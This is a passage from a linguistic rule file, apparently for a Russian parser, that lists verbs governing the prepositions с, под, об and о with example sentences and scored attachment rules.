rus_verbs:дуть{}, // С моря дует ветер.
rus_verbs:капать{}, // С его лица капали крупные капли пота.
rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол.
rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня.
rus_verbs:встать{}, // Все встали со стульев.
rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто.
rus_verbs:взять{}, // Возьми книгу с полки.
rus_verbs:спускаться{}, // Мы спускались с горы.
rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы.
rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок.
rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы.
rus_verbs:двигаться{}, // Он не двигался с места.
rus_verbs:отходить{}, // мой поезд отходит с первого пути
rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции
rus_verbs:падать{}, // снег падает с ветвей
rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия.
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:род} }
then return true
}
fact гл_предл
{
if context { Гл_С_Род предлог:с{} *:*{падеж:парт} }
then return true
}
#endregion РОДИТЕЛЬНЫЙ
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:твор } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:с{} *:*{ падеж:род } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:с{} * }
then return false,-5
}
#endregion Предлог_С
/*
#region Предлог_ПОД
// -------------- ПРЕДЛОГ 'ПОД' -----------------------
fact гл_предл
{
if context { * предлог:под{} @regex("[a-z]+[0-9]*") }
then return true
}
// ПОД+вин.п. не может присоединяться к существительным, поэтому
// он присоединяется к любым глаголам.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:вин } }
then return true
}
wordentry_set Гл_ПОД_твор=
{
rus_verbs:извиваться{}, // извивалась под его длинными усами
rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ)
rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ)
rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ)
rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ)
rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ)
rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ)
rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть)
rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ)
rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ)
rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ)
rus_verbs:ПРОПОЛЗТИ{}, //
rus_verbs:ПРОПОЛЗАТЬ{}, //
rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ)
rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ)
rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ)
rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ)
rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ)
rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом
rus_verbs:иметься{}, // у каждого под рукой имелся арбалет
rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ)
rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ)
rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ)
rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ)
rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ)
rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ)
rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ)
rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ)
rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ)
rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ)
rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ)
rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ)
rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ)
rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор)
rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ)
rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ)
rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ)
rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ)
rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ)
rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ)
rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ)
rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ)
rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ)
rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ)
rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ)
rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ)
rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ)
rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ)
rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ)
rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ)
rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ)
rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ)
rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ)
rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ)
rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД)
rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ)
rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД)
rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ)
rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ)
rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ)
rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ)
rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ)
rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ)
rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ)
rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ)
rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ)
rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ)
rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ)
rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ)
rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ)
rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ)
rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ)
rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ)
rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ)
rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ)
rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ)
rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ)
rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ)
rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ)
rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ)
rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ)
rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ)
rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ)
rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ)
rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ)
rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ)
rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ)
rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ)
rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД)
rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД)
rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД)
rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД)
rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД)
rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД)
rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД)
rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД)
rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор)
rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД)
rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД)
rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД)
rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД)
rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД)
rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД)
rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД)
rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД)
rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД)
rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД)
rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД)
rus_verbs:уснуть{}, // Миша уснет под одеялом
rus_verbs:пошевелиться{}, // пошевелиться под одеялом
rus_verbs:задохнуться{}, // задохнуться под слоем снега
rus_verbs:потечь{}, // потечь под избыточным давлением
rus_verbs:уцелеть{}, // уцелеть под завалами
rus_verbs:мерцать{}, // мерцать под лучами софитов
rus_verbs:поискать{}, // поискать под кроватью
rus_verbs:гудеть{}, // гудеть под нагрузкой
rus_verbs:посидеть{}, // посидеть под навесом
rus_verbs:укрыться{}, // укрыться под навесом
rus_verbs:утихнуть{}, // утихнуть под одеялом
rus_verbs:заскрипеть{}, // заскрипеть под тяжестью
rus_verbs:шелохнуться{}, // шелохнуться под одеялом
инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень
деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш },
инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш },
деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш },
rus_verbs:пониматься{}, // пониматься под успехом
rus_verbs:подразумеваться{}, // подразумеваться под правильным решением
rus_verbs:промокнуть{}, // промокнуть под проливным дождем
rus_verbs:засосать{}, // засосать под ложечкой
rus_verbs:подписаться{}, // подписаться под воззванием
rus_verbs:укрываться{}, // укрываться под навесом
rus_verbs:запыхтеть{}, // запыхтеть под одеялом
rus_verbs:мокнуть{}, // мокнуть под лождем
rus_verbs:сгибаться{}, // сгибаться под тяжестью снега
rus_verbs:намокнуть{}, // намокнуть под дождем
rus_verbs:подписываться{}, // подписываться под обращением
rus_verbs:тарахтеть{}, // тарахтеть под окнами
инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача.
деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{},
rus_verbs:лежать{}, // лежать под капельницей
rus_verbs:вымокать{}, // вымокать под дождём
rus_verbs:вымокнуть{}, // вымокнуть под дождём
rus_verbs:проворчать{}, // проворчать под нос
rus_verbs:хмыкнуть{}, // хмыкнуть под нос
rus_verbs:отыскать{}, // отыскать под кроватью
rus_verbs:дрогнуть{}, // дрогнуть под ударами
rus_verbs:проявляться{}, // проявляться под нагрузкой
rus_verbs:сдержать{}, // сдержать под контролем
rus_verbs:ложиться{}, // ложиться под клиента
rus_verbs:таять{}, // таять под весенним солнцем
rus_verbs:покатиться{}, // покатиться под откос
rus_verbs:лечь{}, // он лег под навесом
rus_verbs:идти{}, // идти под дождем
прилагательное:известный{}, // Он известен под этим именем.
rus_verbs:стоять{}, // Ящик стоит под столом.
rus_verbs:отступить{}, // Враг отступил под ударами наших войск.
rus_verbs:царапаться{}, // Мышь царапается под полом.
rus_verbs:спать{}, // заяц спокойно спал у себя под кустом
rus_verbs:загорать{}, // мы загораем под солнцем
ГЛ_ИНФ(мыть), // мыть руки под струёй воды
ГЛ_ИНФ(закопать),
ГЛ_ИНФ(спрятать),
ГЛ_ИНФ(прятать),
ГЛ_ИНФ(перепрятать)
}
fact гл_предл
{
if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } }
then return true
}
// для глаголов вне списка - запрещаем.
fact гл_предл
{
if context { * предлог:под{} *:*{ падеж:твор } }
then return false,-10
}
fact гл_предл
{
if context { * предлог:под{} *:*{} }
then return false,-11
}
#endregion Предлог_ПОД
*/
#region Предлог_ОБ
// -------------- ПРЕДЛОГ 'ОБ' -----------------------
wordentry_set Гл_ОБ_предл=
{
rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ)
rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ)
rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ)
rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом?
rus_verbs:забывать{}, // Мы не можем забывать об их участи.
rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ)
rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ)
rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ)
rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ)
rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ)
rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ)
rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ)
rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ)
rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ)
rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ)
rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об)
rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об)
rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ)
rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ)
rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ)
rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе.
rus_verbs:кричать{}, // Все газеты кричат об этом событии.
rus_verbs:советоваться{}, // Она обо всём советуется с матерью.
rus_verbs:говориться{}, // об остальном говорилось легко.
rus_verbs:подумать{}, // нужно крепко обо всем подумать.
rus_verbs:напомнить{}, // черный дым напомнил об опасности.
rus_verbs:забыть{}, // забудь об этой роскоши.
rus_verbs:думать{}, // приходится обо всем думать самой.
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:информировать{}, // информировать об изменениях
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:заговорить{}, // заговорить об оплате
rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой.
rus_verbs:попросить{}, // попросить об услуге
rus_verbs:объявить{}, // объявить об отставке
rus_verbs:предупредить{}, // предупредить об аварии
rus_verbs:предупреждать{}, // предупреждать об опасности
rus_verbs:твердить{}, // твердить об обязанностях
rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц.
rus_verbs:читать{}, // он читал об этом в журнале
rus_verbs:прочитать{}, // он читал об этом в учебнике
rus_verbs:узнать{}, // он узнал об этом из фильмов
rus_verbs:рассказать{}, // рассказать об экзаменах
rus_verbs:рассказывать{},
rus_verbs:договориться{}, // договориться об оплате
rus_verbs:договариваться{}, // договариваться об обмене
rus_verbs:болтать{}, // Не болтай об этом!
rus_verbs:проболтаться{}, // Не проболтайся об этом!
rus_verbs:заботиться{}, // кто заботится об урегулировании
rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне
rus_verbs:помнить{}, // всем советую об этом помнить
rus_verbs:мечтать{} // Мечтать об успехе
}
fact гл_предл
{
if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { * предлог:об{} @regex("[a-z]+[0-9]*") }
then return true
}
// остальные глаголы не могут связываться
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:предл } }
then return false, -4
}
wordentry_set Гл_ОБ_вин=
{
rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ)
rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ)
rus_verbs:опереться{}, // Он опёрся об стену.
rus_verbs:опираться{},
rus_verbs:постучать{}, // постучал лбом об пол.
rus_verbs:удариться{}, // бутылка глухо ударилась об землю.
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:царапаться{} // Днище лодки царапалось обо что-то.
}
fact гл_предл
{
if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:об{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:об{} *:*{} }
then return false,-5
}
#endregion Предлог_ОБ
#region Предлог_О
// ------------------- С ПРЕДЛОГОМ 'О' ----------------------
wordentry_set Гл_О_Вин={
rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену.
rus_verbs:болтать{}, // Болтали чаще всего о пустяках.
rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг.
rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол.
rus_verbs:бахнуться{}, // Бахнуться головой о стол.
rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ)
rus_verbs:ВЫТИРАТЬ{}, //
rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ)
rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ)
rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ)
rus_verbs:ЛЯЗГАТЬ{}, //
rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки
rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ)
rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ)
rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ)
rus_verbs:колотиться{}, // сердце его колотилось о ребра
rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей.
rus_verbs:биться{}, // биться головой о стену? (биться о)
rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о)
rus_verbs:разбиваться{}, // волны разбивались о скалу
rus_verbs:разбивать{}, // Разбивает голову о прутья клетки.
rus_verbs:облокотиться{}, // облокотиться о стену
rus_verbs:точить{}, // точить о точильный камень
rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень
rus_verbs:потереться{}, // потереться о дерево
rus_verbs:ушибиться{}, // ушибиться о дерево
rus_verbs:тереться{}, // тереться о ствол
rus_verbs:шмякнуться{}, // шмякнуться о землю
rus_verbs:убиваться{}, // убиваться об стену
rus_verbs:расшибить{}, // расшибить об стену
rus_verbs:тереть{}, // тереть о камень
rus_verbs:потереть{}, // потереть о колено
rus_verbs:удариться{}, // удариться о край
rus_verbs:споткнуться{}, // споткнуться о камень
rus_verbs:запнуться{}, // запнуться о камень
rus_verbs:запинаться{}, // запинаться о камни
rus_verbs:ударяться{}, // ударяться о бортик
rus_verbs:стукнуться{}, // стукнуться о бортик
rus_verbs:стукаться{}, // стукаться о бортик
rus_verbs:опереться{}, // Он опёрся локтями о стол.
rus_verbs:плескаться{} // Вода плещется о берег.
}
fact гл_предл
{
if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { * предлог:о{} *:*{ падеж:вин } }
then return false,-5
}
wordentry_set Гл_О_предл={
rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ)
rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ)
rus_verbs:РАССПРАШИВАТЬ{}, //
rus_verbs:слушать{}, // ты будешь слушать о них?
rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно
rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ)
rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ)
rus_verbs:сложить{}, // о вас сложены легенды
rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О)
rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О)
rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О)
rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О)
rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О)
rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О)
rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О)
rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О)
rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О)
rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О)
rus_verbs:осведомиться{}, // офицер осведомился о цели визита
rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о)
rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О)
rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о)
rus_verbs:зайти{}, // Разговор зашёл о политике.
rus_verbs:порассказать{}, // порассказать о своих путешествиях
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви
деепричастие:спев{}, прилагательное:спевший{ вид:соверш },
прилагательное:спетый{},
rus_verbs:напеть{},
rus_verbs:разговаривать{}, // разговаривать с другом о жизни
rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях
//rus_verbs:заботиться{}, // заботиться о престарелых родителях
rus_verbs:раздумывать{}, // раздумывать о новой работе
rus_verbs:договариваться{}, // договариваться о сумме компенсации
rus_verbs:молить{}, // молить о пощаде
rus_verbs:отзываться{}, // отзываться о книге
rus_verbs:подумывать{}, // подумывать о новом подходе
rus_verbs:поговаривать{}, // поговаривать о загадочном звере
rus_verbs:обмолвиться{}, // обмолвиться о проклятии
rus_verbs:условиться{}, // условиться о поддержке
rus_verbs:призадуматься{}, // призадуматься о последствиях
rus_verbs:известить{}, // известить о поступлении
rus_verbs:отрапортовать{}, // отрапортовать об успехах
rus_verbs:напевать{}, // напевать о любви
rus_verbs:помышлять{}, // помышлять о новом деле
rus_verbs:переговорить{}, // переговорить о правилах
rus_verbs:повествовать{}, // повествовать о событиях
rus_verbs:слыхивать{}, // слыхивать о чудище
rus_verbs:потолковать{}, // потолковать о планах
rus_verbs:проговориться{}, // проговориться о планах
rus_verbs:умолчать{}, // умолчать о штрафах
rus_verbs:хлопотать{}, // хлопотать о премии
rus_verbs:уведомить{}, // уведомить о поступлении
rus_verbs:горевать{}, // горевать о потере
rus_verbs:запамятовать{}, // запамятовать о важном мероприятии
rus_verbs:заикнуться{}, // заикнуться о прибавке
rus_verbs:информировать{}, // информировать о событиях
rus_verbs:проболтаться{}, // проболтаться о кладе
rus_verbs:поразмыслить{}, // поразмыслить о судьбе
rus_verbs:заикаться{}, // заикаться о деньгах
rus_verbs:оповестить{}, // оповестить об отказе
rus_verbs:печься{}, // печься о всеобщем благе
rus_verbs:разглагольствовать{}, // разглагольствовать о правах
rus_verbs:размечтаться{}, // размечтаться о будущем
rus_verbs:лепетать{}, // лепетать о невиновности
rus_verbs:грезить{}, // грезить о большой и чистой любви
rus_verbs:залепетать{}, // залепетать о сокровищах
